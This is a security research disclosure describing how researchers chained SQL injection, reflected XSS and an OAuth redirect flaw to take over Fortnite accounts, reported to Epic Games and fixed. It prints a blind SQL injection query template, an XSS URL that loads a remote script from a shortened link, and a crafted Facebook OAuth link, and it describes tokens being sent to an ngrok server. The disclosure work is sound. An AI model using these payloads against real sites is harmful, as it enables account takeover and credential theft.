Hacking Fortnite Accounts

January 16, 2019

Research by: Alon Boxiner, Eran Vaknin and Oded Vanunu

Played in a virtual world, players of ‘Fortnite’, the massively popular game from game developer Epic Games, are tasked with testing their endurance as they battle for tools and weapons that will keep them secure and the ‘last man standing’.

In the last few weeks, however, Check Point Research discovered multiple vulnerabilities in Epic Games’ online platform that could have allowed a threat actor to take over the account of any game player, view their personal account information, purchase V-bucks, Fortnite’s virtual in-game currency and eavesdrop on and record players’ in-game chatter and background home conversations.

Created by Epic Games, an American video game developer, Fortnite is the game responsible for almost half of their $5bn-$8bn estimated value. With such a meteoric rise in fortune, it is no surprise then that the game had already attracted the attention from cyber criminals who set out to con unsuspecting players.

These scams previously took the role of deceiving players into logging into fake websites that promised to generate Fortnite’s ‘V-Buck’ in-game currency, a commodity that can usually only be acquired through the official Fortnite store or by earning them in the game itself. These sites promote players to enter their game login credentials, as well as personal information like name, address and credit card details and are spread via social media campaigns that claim players can “earn easy cash” and “make quick money”.

Our team’s research, however, relied on a far more sophisticated and sinister method, that did not require the user to hand over any login details whatsoever. By discovering a vulnerability found in some of Epic Games’ sub-domains, an XSS attack was permissible with the user merely needing to click on a link sent to them by the attacker. Once clicked, with no need even for them to enter any login credentials, their Fortnite username and password could immediately be captured the attacker.

Check Point Research informed Epic Games of this vulnerability and a fix was responsibly deployed, ensuring their millions of players can continue their gameplay in a secure environment.

Demo Video of the Attack

 

Technical Details

Epic Games was found to have several old sub-domains, such as ‘http://ut2004stats.epicgames.com’. It is at this location that our story begins.

 

SQLInjection

The sub-domain, ‘http://ut2004stats.epicgames.com’, led us to an interesting GET request with the following path: “/serverstats.php?server=[some server code]”.

What were to happen, we asked, if a ‘ sign were to be added to the request?
Well, the response was: “Server database error”!

This was certainly a good breakthrough as we realized this could well have the potential for an SQL Injection (at this stage, our assumption was that we are dealing with MYSQL database).

The research revealed that there was a WAF product, working with black lists rather than white lists that we would first need to deal with. As a result, one of the limitations placed on us was the inability to query several system tables (such as “information_schema” tables).

But what if we could use the System Variables (@@)? Indeed, it seemed someone had forgotten about their existence as it worked better than we could have ever wished for!

if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)

Following a search on Google, we then found that “37514065” is a valid server code. With this in mind we performed the following query to see what response we would get:

The response: 4014 bytes, meaning that this character does not appear in the query. A response with 12609 bytes, on the other hand, would have meant that the character does appear in the query result.

For example: if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0) returns with 4014 bytes:

Request:

Figure 1: The initial SQL injection query.

Response:

Figure 2: The 4014 bytes response from the initial SQL query.

 

Of course, were the query ‘if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)’ to respond with 12609 bytes then we would know that version 5 of MySQL version was being used.

Figure 3: The second SQL injection query.

 

 

Figure 4: The 12609 bytes response from our SQL query.

 

In this way, the data we managed to get would prove to be very helpful for the later stages of our research.

 

Cross-Site Scripting (XSS)

As we proceeded with our research, we found that the sub-domain ‘http://ut2004stats.epicgames.com’ contained a web page called “maps”. We guessed that this web page is used for presenting tournament statistics sorted by map name/id.

When you are on the lookout for XSS vulnerabilities, both reflected and/or stored ones, it is clear you should look for a reflection of your input in the page – and this is exactly what we found in the search component. Indeed, another feature of this page is the search bar that would act as the injection point for the XSS vulnerability.

Example:

This was our second great breakthrough as it became clear we had an XSS on “ut2004stats.epicgames.com”. Being a sub-domain of the main “epicgames.com” domain, this would again prove to be most important for the last stage of our attack.

oAuth Account take-over

Over the next few days we longingly searched for a possible strike point.

As it happened, from the very beginning of our research one team member had a strong feeling about the SSO mechanism. With no assumption or theory to be ruled out, we took a closer look at the SSO and indeed found that Epic Games had written a generic SSO implementation to support several login providers. It was time to dig inside this implementation.

It turns out that when a player logs in to his account by clicking on the “Sign In” button, Epic Games generates a URL containing a “redirectedUrl” parameter (as seen below in the bold text). This parameter is later used by “accounts.epicgames.com” in order to redirect the player to his account page.

https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true

Figure 5: The redirect link after a player logs in to his account.

 

However, we soon found that it was possible to manipulate the redirect URL and direct the user to any web page within the “*.epicgames.com” domain.

With the ability to control the “redirctedUrl” parameter, we could redirect the victim to ‘ut2004stats.epicgames.com’, site that contained the XSS payload:

http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>

The JavaScript payload could then make a request to any SSO provider. A request to the SSO providers contains a “state” parameter which is used later on by the “accounts.epicgames.com” in order to complete the authentication process. The JavaScript payload contains a crafted “state” parameter. The “state” parameter value contained a Base64 encoded JSON and the JSON contained three keys, “redirectUrl”, “client_id” and “prodectName”. The “redirectedUrl” parameter is used for redirection as the SSO login completes.

 

Multiple SSO Providers

Those who try to log in to Fortnite will notice that Epic Games uses multiple SSO providers: PlayStationNetwork, Xbox Live, Nintendo, Facebook and Google+.  We understood then that the same process as we describe above could also be recreated with each of these SSO providers using the same technique. For the purpose of POC, though, we used Facebook as the SSO provider.

As you can see, we managed to craft the “state” parameter with a redirection to “ut2004stats.epicgames.com” with the XSS payload:

https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends

 

Figure 6: A redirection to “ut2004stats.epicgames.com” with the XSS payload

 

The SSO provider, in this case Facebook, responds with a redirection to “accounts.epicgames.com” containing the manipulated state parameter:

Figure 7: Facebook’s response of a redirection to “accounts.epicgames.com” that contains the manipulated state parameter.

 

In turn, Epic Games then takes the “code” (i.e. the SSO token) and the attacker’s crafted “state” parameters received from the SSO provider and makes a request to Epic Games’ server in order to finish the authentication process:

Figure 8: Epic Games’ request to their server, along with the attacker’s “crafted state” parameters received from the SSO.

 

In response, Epic Games’ server generates a response with no input validation and redirects the user to “ut2004stats.epicgames.com” with the XSS payload and the SSO token:

Figure 9: Epic Games’ server response with no input validation and redirects the user to “ut2004stats.epicgames.com” with the XSS payload and the SSO token.

 

Finally, the user is redirected to the vulnerable web page where the XSS payload is executed and steals his authentication code:

Figure 10: The vulnerable web page where the XSS payload is executed.

 

The big problem here (for Epic Games at least) is that Epic Games’ server did not perform any input validation on the “state” parameter.

Please notice that we were redirecting to the ‘ut2004stats.epicgames.com’ page with the XSS vulnerability. So although the CORS mechanism was implemented by Epic Games, ‘ut2004stats.epicgames.com’ could still make requests to ‘account.epicgames.com’.

 

Bypassing the WAF

As the XSS payload was executed the WAF took effect and told us that the request was forbidden. Apparently, the only issue was the length of the script source URL, so we simply bypassed it by using a shortened URL.

Now that we had the XSS we could load our own JavaScript which, in turn, would be executed in the context of “ut2004stats.epicgames.com”.

It was time then to write some JavaScript code:

Figure 11: The JavaScript code used to deliver the XSS payload.

 

The XSS Payload

The code opens a window and makes an oAuth request to the SSO provider server (in our case, Facebook) with all user cookies and the crafted “state” parameter.

Facebook then responds with a redirection to “account.epicgames.com” which contains the SSO token (“code” parameter) and the crafted “state” parameter that was previously affected by the attacker.

As the user has already logged on with his Facebook account, the server “account.epicgames.com” makes a redirection to the URL that is found within the crafted “state” parameter. In our case, the redirection goes to “ut2004stats.epicgames.com” with the XSS payload and the Facebook user oAuth token.

Finally, the token is then extracted from the request and sent to the attackers’ server (for POC purposes we used “ngrok” server – 0aa62240.ngrok.io).

Figure 12: The Ngrok server receives a request with the SSO token.

 

Figure 13: The Ngrok server receives a request with the SSO token.

 

The attacker now has the users’ Facebook token and can make a login to the victims’ account:

Figure 14: The user’s Facebook token captured by the attacker.